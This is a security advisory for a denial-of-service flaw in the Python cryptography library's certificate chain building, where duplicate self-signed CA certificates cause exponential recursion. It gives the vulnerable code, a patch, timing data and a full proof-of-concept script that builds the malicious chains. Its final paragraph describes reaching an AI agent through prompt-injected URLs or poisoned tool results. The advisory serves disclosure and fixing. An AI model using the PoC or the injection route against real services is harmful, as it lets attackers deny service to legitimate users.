CVE-2026-69249: cryptography: exponential DoS in cert chain validation

### Summary When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. ### Details The core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates. ```python fn build_chain_inner( &self, working_cert: &VerificationCertificate<'chain, B>, current_depth: u8, working_cert_extensions: &Extensions<'chain>, name_chain: NameChain<'_, 'chain>, budget: &mut Budget, ) -> ValidationResult<'chain, Chain<'chain, B>, B> { if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) { name_chain.evaluate_constraints(&nc.value()?, budget)?; } // Look in the store's root set to see if the working cert is listed. // If it is, we've reached the end. if self.store.contains(working_cert) { return Ok(vec![working_cert.clone()]); } // Check that our current depth does not exceed our policy-configured // max depth. We do this after the root set check, since the depth // only measures the intermediate chain's length, not the root or leaf. if current_depth > self.policy.max_chain_depth { return Err(ValidationError::new(ValidationErrorKind::Other( "chain construction exceeds max depth".into(), ))); } // Otherwise, we collect a list of potential issuers for this cert, // and continue with the first that verifies. let mut last_err: Option<ValidationError<'_, B>> = None; for issuing_cert_candidate in self.potential_issuers(working_cert) { // A candidate issuer is said to verify if it both // signs for the working certificate and conforms to the // policy. let issuer_extensions = issuing_cert_candidate.certificate().extensions()?; match self.policy.valid_issuer( issuing_cert_candidate, working_cert, current_depth, &issuer_extensions, ) { Ok(_) => { match self.build_chain_inner( ``` A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run. ```rust let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new(); for issuing_cert_candidate in self.potential_issuers(working_cert) { . . . Ok(_) => { if seen_valid_issuers.contains(&issuing_cert_candidate) { continue; } seen_valid_issuers.push(issuing_cert_candidate); match self.build_chain_inner( issuing_cert_candidate, // NOTE(ww): According to RFC 5280, we should only ``` In testing, this fix removed the exponential blowup without breaking apparent correctness. ``` duplicates,max_depth,result,seconds 1,7,rejected,0.000464 -> 1,7,rejected,0.000667 2,7,rejected,0.025154 -> 2,7,rejected,0.001229 3,7,rejected,0.489924 -> 3,7,rejected,0.001619 4,7,rejected,4.309403 -> 4,7,rejected,0.002144 3,8,rejected,1.468193 -> 3,8,rejected,0.001811 4,8,timeout>5s, -> 4,8,rejected,0.002410 5,7,timeout>5s, -> 5,7,rejected,0.002640 6,6,timeout>5s, -> 6,6,rejected,0.002829 ``` ### PoC The following script benchmarks processing times for malicious cert chains. ```python import datetime import multiprocessing import time import cryptography from cryptography import x509 from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID from cryptography.x509.verification import ( DNSName, PolicyBuilder, Store, VerificationError, ) NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc) TIMEOUT = 5 CA_KEY_USAGE = x509.KeyUsage( digital_signature=True, content_commitment=False, key_encipherment=False, data_encipherment=False, key_agreement=False, key_cert_sign=True, crl_sign=True, encipher_only=False, decipher_only=False, ) EE_KEY_USAGE = x509.KeyUsage( digital_signature=True, content_commitment=False, key_encipherment=False, data_encipherment=False, key_agreement=False, key_cert_sign=False, crl_sign=False, encipher_only=False, decipher_only=False, ) def name(common_name): return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)]) def base_builder(subject, issuer, public_key, serial): return ( x509.CertificateBuilder() .subject_name(subject) .issuer_name(issuer) .public_key(public_key) .serial_number(serial) .not_valid_before(NOW - datetime.timedelta(days=1)) .not_valid_after(NOW + datetime.timedelta(days=30)) ) def make_ca(common_name, serial): private_key = ec.generate_private_key(ec.SECP256R1()) subject = name(common_name) cert = ( base_builder(subject, subject, private_key.public_key(), serial) .add_extension(x509.BasicConstraints(ca=True, path_length=None), True) .add_extension(CA_KEY_USAGE, True) .add_extension( x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()), False, ) .sign(private_key, hashes.SHA256()) ) return private_key, cert def make_leaf(issuer_key, issuer_cert): private_key = ec.generate_private_key(ec.SECP256R1()) return ( base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100) .add_extension(x509.BasicConstraints(ca=False, path_length=None), True) .add_extension(EE_KEY_USAGE, True) .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False) .add_extension( x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()), False, ) .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False) .sign(issuer_key, hashes.SHA256()) ) def build_material(): looping_key, looping_ca = make_ca("looping self-signed CA", 1) _, unrelated_root = make_ca("unrelated trust anchor", 2) leaf = make_leaf(looping_key, looping_ca) return leaf, looping_ca, unrelated_root def verify_case(duplicates, max_depth, queue): leaf, looping_ca, unrelated_root = build_material() verifier = ( PolicyBuilder() .store(Store([unrelated_root])) .time(NOW) .max_chain_depth(max_depth) .build_server_verifier(DNSName("example.com")) ) start = time.perf_counter() try: verifier.verify(leaf, [looping_ca] * duplicates) result = "accepted" except VerificationError: result = "rejected" queue.put((result, time.perf_counter() - start)) def run_case(duplicates, max_depth): queue = multiprocessing.Queue() process = multiprocessing.Process( target=verify_case, args=(duplicates, max_depth, queue), ) process.start() process.join(TIMEOUT) if process.is_alive(): process.terminate() process.join() print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,") return result, elapsed = queue.get() print(f"{duplicates},{max_depth},{result},{elapsed:.6f}") if __name__ == "__main__": print("duplicates,max_depth,result,seconds") for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]: run_case(*case) ``` ### Impact This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

An attacker controls (or man-in-the-middles) a TLS endpoint that an AI agent or RAG connector is instructed to fetch — for instance via a prompt-injected URL, a poisoned tool result, or a malicious API integration. When the vulnerable service validates the presented certificate chain, the attacker's server returns a chain padded with several duplicate copies of the same self-signed CA certificate. The unpatched recursive chain-builder re-evaluates each duplicate exponentially, and a handful of repeated certs is enough to push a single validation past 5 seconds. Repeating this across concurrent connections lets the attacker tie up worker threads/CPU on the AI service's TLS layer, degrading or denying availability of the inference API or agent pipeline for legitimate users — a low-cost, low-sophistication resource-exhaustion attack that requires no credential compromise.